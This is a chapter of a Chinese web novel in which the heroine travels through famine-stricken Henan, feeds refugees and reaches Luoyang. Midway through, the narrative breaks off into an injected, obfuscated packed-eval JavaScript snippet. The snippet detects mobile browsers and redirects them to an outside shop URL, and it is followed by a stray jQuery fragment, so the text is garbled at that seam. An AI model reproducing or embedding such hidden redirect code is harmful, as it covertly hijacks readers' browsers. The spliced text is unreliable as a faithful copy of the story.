65. 河南道惨状

作品:《掌上众卿

    林昭对身后点了点头,这么多人自然随身带了不少干粮,一般够沿路几日吃的量,一有功夫还会补充。


    除了平日中午整修时吃一顿不生火的饭外,剩下的基本都给了沿路有缘愚见的逃荒人。


    “你们退后一些,我问了后谁能答上来谁举手上前来,答完就领了东西走,每人都有机会,限领一次。”


    “那么第一个问题,你们是哪里来的。”


    人群几乎全都举手了,林昭只点了其中看上去最精壮状态最好的那个。


    那人上千两步跪在地上。


    “回禀太奶奶,草民是寿安人!我们这些基本都是寿安和洛阳出来的!”


    寿安本距离洛阳就不算远。洛阳作为郡府,竟然也会这般。


    但按照送去京城的奏折所言,这两地都不算最严重的。


    书画带着一大包袱出来,分拣出来两张不大的死面饼子,另有两个丫头抱着大水袋。


    林昭点头:“去领吧,下一个。”


    干吃干粮容易噎死人,所以也会提供一碗水,但需要自备器具。刚刚回答的那人立刻千恩万谢的去领了。


    “当地情况如何,饿死的人多吗?”这次点出来一个最虚弱看上去随时都会倒下的人。


    听见了第一个人开始大快朵颐的声音,喉咙动了动,连张开那满是血痂的嘴唇都有些费力。


    “我们村饿死人不少。我,我家原也算殷实人家,可匪寇多,家被抢了,地里的粮食也被抢了。咳咳……饿死的人,应该不少的,我走时,半村都有白幡。”


    林昭点头就算是通过了,只是人再起身便向后仰,多亏后头的人扶了一把才不至于摔在地上。


    叹口气,指了两个岁数小的:“你们帮他的话可以多领两个饼子。下一个。”


    “地里收成如何,当真颗粒无收,河水干涸?”


    这回点出来两个分别回答。


    “回奶奶的话,我那里原也算有些雨水的,论理至少也够温饱。可眼瞅着就快收割了,忽然天降冰雹……房屋都砸毁了许多,偏偏这时朝廷增加赋税,我们那许多人被逼的卖儿卖女,我连房子都赔了进去,只能北上寻找出路。”


    “我们那尽是蹚将(土匪)劫掠,他们守着地比百姓还精心,到了日子自己拿刀去收,外头人想躲着拾点,被砍了一刀便不中了……”


    后者说完,林昭才后知后觉的发现她是女子。


    这一群人骨瘦如柴,脸颊凹陷,早就瞧不清模样了。


    重稅酷吏,强盗横行。


    确实是最具代表性的两座大山。


    攥了攥拳头,林昭继续问了下去。


    大部分人领了粮食都没一口吃尽,这样的干粮找机会煮一锅粥能多吃两顿,有的有竹筒或者水袋子的,还会小心翼翼接了水,然后果然没再多纠缠,绕路离去了。


    附近的农田基本都被抢收过了,本地的居民也防备流民过来偷盗。


    不过抢收之后,田里还是留有一些能吃的东西的。


    哪怕是庄稼的根,或是零星的一点麦子,都能叫极寒交迫的人们多一点力气走的更远。


    所以,多方考量下,林昭都不会多给出一粒米,要将更多的带进灾区。


    等人走干净了,整个队伍都有些沉默。


    有的心软的都哭了。


    听他们的谈吐不难分辨,若非天灾人祸,他们原本也是体面的好人家出身,实不该如落叶漂泊,成为这一具具好似会动的枯骨。


    也大概是从这时起,气氛就不如前半程那么轻松了。


    人在京城时候,不是没见过冻死骨。就算是京城,也不缺饥寒交迫的人毙于风雪。


    可从没见过这样多。


    越是接近洛阳,气氛越是压抑。


    就算是林昭,也是第一次看见没有皮的树。


    官道两旁的树是公家的,禁止砍伐。便只留下一座座没了树皮、树枝树叶的枯木立在那里。


    有的连树根都被挖出来了。


    而路的两边,最不缺的就是挖野菜的人,也许挖的是草根。而更不缺的,是死尸。


    有的几乎□□燥的风沙风干了,有的缺了肉。


    有干瘦的野狗叼着更加干瘦的婴儿。


    一路走过,时不时能嗅到腐臭味,时间长了好像在鼻子里扎了根。


    这回,就连驿站的水也不是很充足了。


    大家的食欲都淡了,甚至于有的看着桌子上的肉菜,直接捂住嘴干哕。


    饿殍遍野。


    若非亲眼得见,那不过是史书上冷冰冰的四个字。


    再如何会调节气氛的人,到了此时也不知该从何说起了。


    “多做些饼子吧,做的小些,拿绳子穿成一串儿。”林昭见大家都没多少胃口,提议道。


    大家几乎同时抬起头来。


    “路程耽搁不得,那就不要停。沿路再遇见不忍心的,就摘饼子递过去,若是懂事的,不会浪费咱们时间。”


    至于不懂事的也不是没遇见过,但毕竟两条腿是追不上四个轱辘的。


    这算是唯一两全其美的法子了。众人当即精神起来,林昭早早就回房看书了,但能听见外头忙碌的声音直到深夜。


    有的好心的翻出来一坛子咸菜来,夹在饼子中间烤的干干的。如此有饭有菜还有盐,便是再好不过的赈灾干粮。


    不过这些都是得了主子批准的,有了事儿干,大家身上都多了不少力气。


    林昭看书,崔贤就隔着桌子在另一边做鞋。


    他手艺不佳,胜在颇有力气,千层底纳的又厚又结实,感觉当棒槌拍人脑袋上都能将人打的眼冒金星。


    等林昭又看完了一本关于赈灾的古书,崔贤一只鞋也做出来了。


    瞧着她放下书喝茶,崔贤才开口:“奶奶试试吧,这个做的厚,正好也到了穿厚实的时候了。”


    林昭应了一声,崔贤便到她身侧跪身亲自给她换上。


    鞋面用的是现成的布料,没额外在上头绣花,瞧着简单朴实了些,却份外舒服。


    脚踏实地的踩一踩,林昭评价道:“鞋底很厚实,想必耐穿的紧。”


    这就不枉崔贤的心思。


    “等到了洛阳,奶奶难免四处走动。我多做几双给奶奶换着穿。”


    “那就有劳了。”


    崔贤瞥了她一眼:“跟我还说这个?”


    将单只儿的鞋褪下来,做另一只的参考继续做。


    林昭看着他低垂专注的眉眼,心底的烦躁都散去了许多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298531|194596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “绣个云彩在上头吧。”


    崔贤手上一顿,云彩倒还好,若非十分求真,那对绣工的考验不大。


    “奶奶这是想脚踏祥云?”


    “是乌云,权当是能下雨的好寓头。”她刚在书里瞧见了关于求雨的记载。


    那也不大吉利。


    “我的手艺你是知道的,要是只要我绣的话,就别挑什么了。”


    林昭不由一笑:“敬贤谦虚了,上回给我绣的虫儿就很是乖觉可爱。”


    崔贤将脸一扭不再理她。


    因为那绣的是草龙。难得他挑战一回繁复的,就被抓着笑话了这些时日。


    次日一早就穿上了祥云纹样的新鞋,让她特意多骑了两日马,叫同行的大家好好看看她家内子有多贴心。


    这之后陈鸾也开始早早回去了。林昭好奇进他屋子瞧瞧,好么,正有模有样的给她绣肚兜呢。


    许是握笔的手比常人更稳些,他明明是新学,瞧着竟比崔贤更有几分模样。


    “记得绣一对出来,咱俩一人一个。”林昭半开玩笑道。


    陈鸾应了一声,连脑袋也没抬。


    直到夜深了也没做完,林昭仍在看书。


    陈鸾将床掸一掸:“睡吧,仔细眼睛。”


    “你先暖热了我再睡。”这两日又降温,冷热方面林昭向来娇气。


    陈鸾打了水将自己上下擦洗一番,这才垄着汤婆子进被窝。


    天长日久的,好似少了些许当日的悸动,却越来越有种老夫老妻的舒适感。


    等了一会儿,林昭才褪了外衣往被窝里钻,当时被入骨的暖流包裹,随后而来的就是打心眼里的踏实。


    崔陈二人都在为林昭日常起居上用心思,柳长伯最近连陪睡的次数都少了,几乎一有空闲就会寻一片空地练功,不论是拳脚还是兵器都舞的虎虎生风,还会委托一些会功夫的上前来切磋一二。


    林昭抽空会看一看,算是压抑气氛下少有的消遣。


    十日后,才算正式进了洛阳地界。


    面对这个积古的史书之地,林昭是报以敬畏之心的。


    可那些不知多少岁月蹉跎的建筑,喂不饱麻木呆滞的灾民。


    最后几个时辰的路程,林昭的眉毛就没舒展过,几乎每隔一段路都能发现新的问题。


    最严重的莫过于死尸。


    论理地方衙门是有责任为路边无名尸骨收敛的。太平盛世也就罢了,有道是大灾之后必有疫情,只顾着尸骨七零八落的分布各处,甚至叫人不得不怀疑是故意叫情况更加不可控。


    路边的赈灾粥棚也不太对劲,哪怕走的很近了,也闻不到太多的粮食香气,甚至有种说不出的酸涩草味,且十个里至少一半都挂上了今日用尽的牌子,要求灾民来日早些排队。


    可当时明明日上三竿,连一日的一半都没过去。


    而城门口门可罗雀,只有零星的两三人在。


    最前头的是个还算精壮的男人,正跪在地上向守城门的衙役苦苦哀求。


    听不清男人说什么,可远远的那衙役声音洪亮,嚣张至极:


    “滚滚滚!说了多少次了这是上头要求的,为了防止疫病传进城里,出去了就别再想回去。你想回去?掏钱啊。”